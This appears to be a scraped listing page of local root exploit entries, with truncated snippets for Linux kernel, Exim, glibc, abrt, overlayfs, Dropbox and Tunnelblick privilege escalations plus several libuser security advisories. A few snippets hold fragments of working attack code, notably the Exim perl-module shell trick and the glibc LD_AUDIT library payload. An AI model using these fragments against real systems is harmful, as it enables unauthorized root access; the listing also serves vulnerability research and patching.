Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Privilege Escalation

// A proof-of-concept local root exploit for CVE-2017-6074. // Includes a semireliable SMAP/SMEP bypass. // Tested on 4.4.0-62-generic 83-Ubuntu kernel. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 // // Usage: // $ gcc poc.c -o pwn // $ ./pwn // . namespace sandbox setup...

Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation

Linux Kernel 4.4.0 Ubuntu - DCCP Double-Free Privilege Escalation // // EDB Note: More information http://seclists.org/oss-sec/2017/q1/471 // // A proof-of-concept local root exploit for CVE-2017-6074. // Includes a semireliable SMAP/SMEP bypass. // Tested on 4.4.0-62-generic 83-Ubuntu kernel. //...

Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Privilege Escalation

/ Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40053.zip / --------------------------------------------------- decr.c --------------------------------------------------- / Ubuntu 16.04 local root exploit - netfilter targetoffset OOB...

Exim 4.84-3 - Privilege Escalation

Exploit for windows platform in category local exploits !/bin/sh CVE-2016-1531 exim /tmp/root.pm EOF package root; use strict; use warnings; system"/bin/sh"; EOF PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps 0day.today 2018-02-19...

Linux Kernel REFCOUNT Overflow / Use-After-Free

Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings Date: 19/1/2016 Exploit Author: Perception Point Team CVE : CVE-2016-0728 / CVE-2016-0728 local root exploit modified by Federico Bento to read kernel symbols from /proc/kallsyms props to grsecurity/PaX for preventing this i...

Ubuntu 14.04 LTS, 15.10 overlayfs - Local Root Exploit

No description provided by source. / just another overlayfs exploit, works on kernels before 2015-12-26 Exploit Title: overlayfs local root Date: 2016-01-05 Exploit Author: rebel Version: Ubuntu 14.04 LTS, 15.10 and more Tested on: Ubuntu 14.04 LTS, 15.10 CVE : CVE-2015-8660 blah@ubuntu:$ id...

RHEL 7.0/7.1 - abrt/sosreport Local Root Exploit

Local root exploit for Redhat Enterprise Linux versions 7.0 and 7.1 that leverages abrt/sosreport. !/usr/bin/python CVE-2015-5287 ? abrt/sosreport RHEL 7.0/7.1 local root rebel 09/2015 email protected $ python sosreport-rhel7.py crashing pid 19143 waiting for dump directory dump directory:...

Centos 7.1 / Fedora 22 - abrt Local Root Exploit

CentOS version 7.1 and Fedora version 22 abrt local root exploit. It leverages abrt-hook-ccpp insecure open usage and abrt-action-install-debuginfo insecure temp directory usage. !/usr/bin/python CVE-2015-5273 + CVE-2015-5287 CENTOS 7.1/Fedora22 local root probably works on SL and older versions...

Dropbox 3.3.x - OSX FinderLoadBundle Local Root Exploit

The setuid root FinderLoadBundle that was included in older DropboxHelperTools versions for OS X allows loading of dynamically linked shared libraries that are residing in the same directory. The directory in which FinderLoadBundle is located is owned by root and that prevents placing arbitrary...

openSUSE: Security Advisory for libuser (openSUSE-SU-2015:1332-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

openSUSE Security Update : libuser (openSUSE-2015-529)

libuser was updated to fix on security issue. The following vulnerability was fixed : - CVE-2015-3246: local root exploit through passwd file handling boo937533 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE...

Security update for libuser (important)

libuser was updated to fix on security issue. The following vulnerability was fixed: CVE-2015-3246: local root exploit through passwd file handling boo937533...

Qualys Security Advisory - CVE-2015-3245 userhelper - CVE-2015-3246 libuser

Hello, it is July 23, 2015, 17:00 UTC, the Coordinated Release Date for CVE-2015-3245 and CVE-2015-3246. Please find our advisory below, and our exploit attached. Qualys Security Advisory CVE-2015-3245 userhelper chfn newline filtering CVE-2015-3246 libuser passwd file handling -- Summary...

Qualys Security Advisory - userhelper / libuser

Qualys Security Advisory CVE-2015-3245 userhelper chfn newline filtering CVE-2015-3246 libuser passwd file handling -- Summary ----------------------------------------------------------------- The libuser library implements a standardized interface for manipulating and administering user and grou...

Ubuntu 12.04 / 14.04 / 14.10 / 15.04 overlayfs Local Root Exploit

The overlayfs filesystem does not correctly check file permissions when creating new files in the upper filesystem directory. This can be exploited by an unprivileged process in kernels with CONFIGUSERNS=y and where overlayfs has the FSUSERNSMOUNT flag, which allows the mounting of overlayfs insi...

Linux Local Root => 2.6.39 (32-bit & 64-bit) - Mempodipper #2

No description provided by source. /Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c Blog post about it is here: http://blog.zx2c4.com/749 / / Mempodipper by zx2c4 Linux Local Root Exploit Rather than put my write up here, per usual, this time I've put it in a rather...

GNU libc 2.12.1 LD_AUDIT libpcprofile.so Local Root

!/bin/sh Exploit Title: GNU libc /tmp/libxpl.c /dev/null cat /tmp/libxpl.so /lib/libxpl.so rm -rf /tmp/libxpl.c /tmp/libxpl.so LDAUDIT="libxpl.so" ping...

Tolis Group BRU 17.0 - Local Root Exploit (1)

No description provided by source. source: http://www.securityfocus.com/bid/8215/info It has been reported that BRU may not properly parse commandline arguments, potentially leading to at least two vectors of exploitation. It may be possible for local attackers to conduct format string-based...

SCO UnixWare < 7.1.4 p534589 (pkgadd) Local Root Exploit

No description provided by source. !/bin/ksh 04/2008: public release SCO UnixWare 7.1.4 p534589 if id -un = 'root' ; then grep -v $1-root$ /var/adm/sulog su.log cp su.def /etc/default/su cp su.log /var/adm/sulog rm -f su.def su.log woot.log else echo ------------------------------------ echo...

Tunnelblick - Local Root Exploit

No description provided by source. / ==== Pwnnel Blicker ==== = = = zx2c4 = = = ======================== Tunnel Blick, a widely used OpenVPN manager for OSX comes with a nice SUID executable that has more holes than you care to count. It's a treasure chest of local roots. I picked one that looked...